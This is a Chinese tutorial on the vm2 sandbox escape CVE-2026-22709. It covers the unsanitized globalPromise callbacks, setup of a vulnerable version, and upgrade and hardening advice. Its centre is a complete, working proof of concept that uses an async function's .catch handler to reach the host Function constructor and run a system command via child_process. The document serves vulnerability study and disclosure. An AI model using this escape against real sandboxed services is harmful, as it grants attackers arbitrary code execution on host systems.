vm2沙箱逃逸漏洞(CVE-2026-22709)
字数 1454
更新时间 2026-01-31 12:05:04

vm2沙箱逃逸漏洞(CVE-2026-22709)教学文档

1. 漏洞概述

1.1 漏洞基本信息

  • 漏洞编号:CVE-2026-22709
  • 影响组件:vm2沙箱库
  • 影响版本:vm2@3.10.0及之前版本
  • 漏洞类型:沙箱逃逸
  • 危险等级:高危

1.2 漏洞背景

vm2是Node.js生态中广泛使用的沙箱库,主要用于在隔离环境中安全执行不受信任的JavaScript代码。该库被广泛应用于在线代码执行平台、插件系统、模板引擎等多种需要代码隔离的场景。

2. 漏洞原理分析

2.1 核心问题

vm2在处理Promise回调函数时存在清理不完整的问题:

  • localPromise.prototype.then的回调被正确清理
  • globalPromise.prototype.then/catch的回调未被正确清理
  • async函数返回的是globalPromise对象,而非localPromise

2.2 技术细节

2.2.1 问题代码位置

漏洞位于lib/setup-sandbox.js文件中。

2.2.2 具体实现对比

有问题的实现(globalPromise.prototype.then):

const globalPromiseThen = globalPromise.prototype.then;
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
  resetPromiseSpecies(this);
  return globalPromiseThen.call(this, onFulfilled, onRejected); // 未清理回调
};

正确的实现(localPromise.prototype.then):

overrideWithProxy(PromisePrototype, 'then', PromisePrototype.then, {
  apply(target, thiz, args) {
    if (args.length > 1) {
      const onRejected = args[1];
      if (typeof onRejected === 'function') {
        args[1] = function wrapper(error) {
          error = ensureThis(error); // 正确清理
          return localReflectApply(onRejected, this, [error]);
        };
      }
    }
    return localReflectApply(target, thiz, args);
  }
});

2.3 攻击链分析

  1. 触发异常:通过Error.name = Symbol()导致stack访问时抛出未清理的异常
  2. 利用async函数:async函数返回globalPromise,其.catch()回调未清理
  3. 获取宿主引用:通过e.constructor.constructor获取宿主环境的Function构造函数
  4. 执行任意代码:利用宿主Function创建可访问process.mainModule.require的代码

3. 环境搭建与复现

3.1 环境准备

mkdir vm2-poc && cd vm2-poc
npm init -y
npm install vm2@3.10.0

3.2 漏洞复现代码

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();

promise.catch(e => {
  const Error = e.constructor;
  const Function = Error.constructor;
  const f = new Function(
    "process.mainModule.require('child_process').execSync('calc.exe')"
  );
  f();
});
`;

new VM().run(code);

3.3 攻击步骤详解

步骤1:创建异常对象

const error = new Error();
error.name = Symbol(); // 设置Symbol类型的name属性

步骤2:利用async函数

const f = async () => error.stack; // 返回globalPromise对象
const promise = f();

步骤3:触发未清理的catch回调

promise.catch(e => {
  // 此时e是未经过清理的异常对象
  const Error = e.constructor; // 获取Error构造函数
  const Function = Error.constructor; // 获取宿主环境的Function构造函数
});

步骤4:执行系统命令

const f = new Function(
  "process.mainModule.require('child_process').execSync('calc.exe')"
);
f(); // 执行系统命令,启动计算器

4. 漏洞影响分析

4.1 直接影响

  • 攻击者可以突破vm2沙箱限制
  • 在宿主环境中执行任意系统命令
  • 访问宿主环境的敏感资源和模块

4.2 潜在风险

  • 在线代码执行平台被攻破
  • 插件系统安全性失效
  • 模板引擎的代码隔离被绕过

5. 防护建议

5.1 立即措施

  • 升级vm2到已修复的安全版本
  • 审查使用vm2的应用程序
  • 限制沙箱环境的网络和文件系统访问

5.2 长期防护

  • 实施最小权限原则
  • 定期进行安全审计
  • 使用多层防御机制

6. 技术要点总结

6.1 关键漏洞点

  1. 回调清理不完整:globalPromise与localPromise处理不一致
  2. async函数特殊性:返回globalPromise而非沙箱内的Promise
  3. 异常处理链:通过异常对象获取宿主环境引用

6.2 攻击技术要点

  1. Symbol类型利用:触发特殊的异常处理路径
  2. 原型链污染:通过constructor属性向上追溯
  3. 函数构造器:利用Function构造函数绕过沙箱限制

7. 参考资源

  • 官方漏洞公告:https://nvd.nist.gov/vuln/detail/CVE-2026-22709
  • vm2项目地址:GitHub上的vm2仓库
  • Node.js安全最佳实践:Node.js官方安全文档

本教学文档基于先知社区发布的漏洞分析文章编写,涵盖了CVE-2026-22709漏洞的技术细节、复现方法和防护措施。

 全屏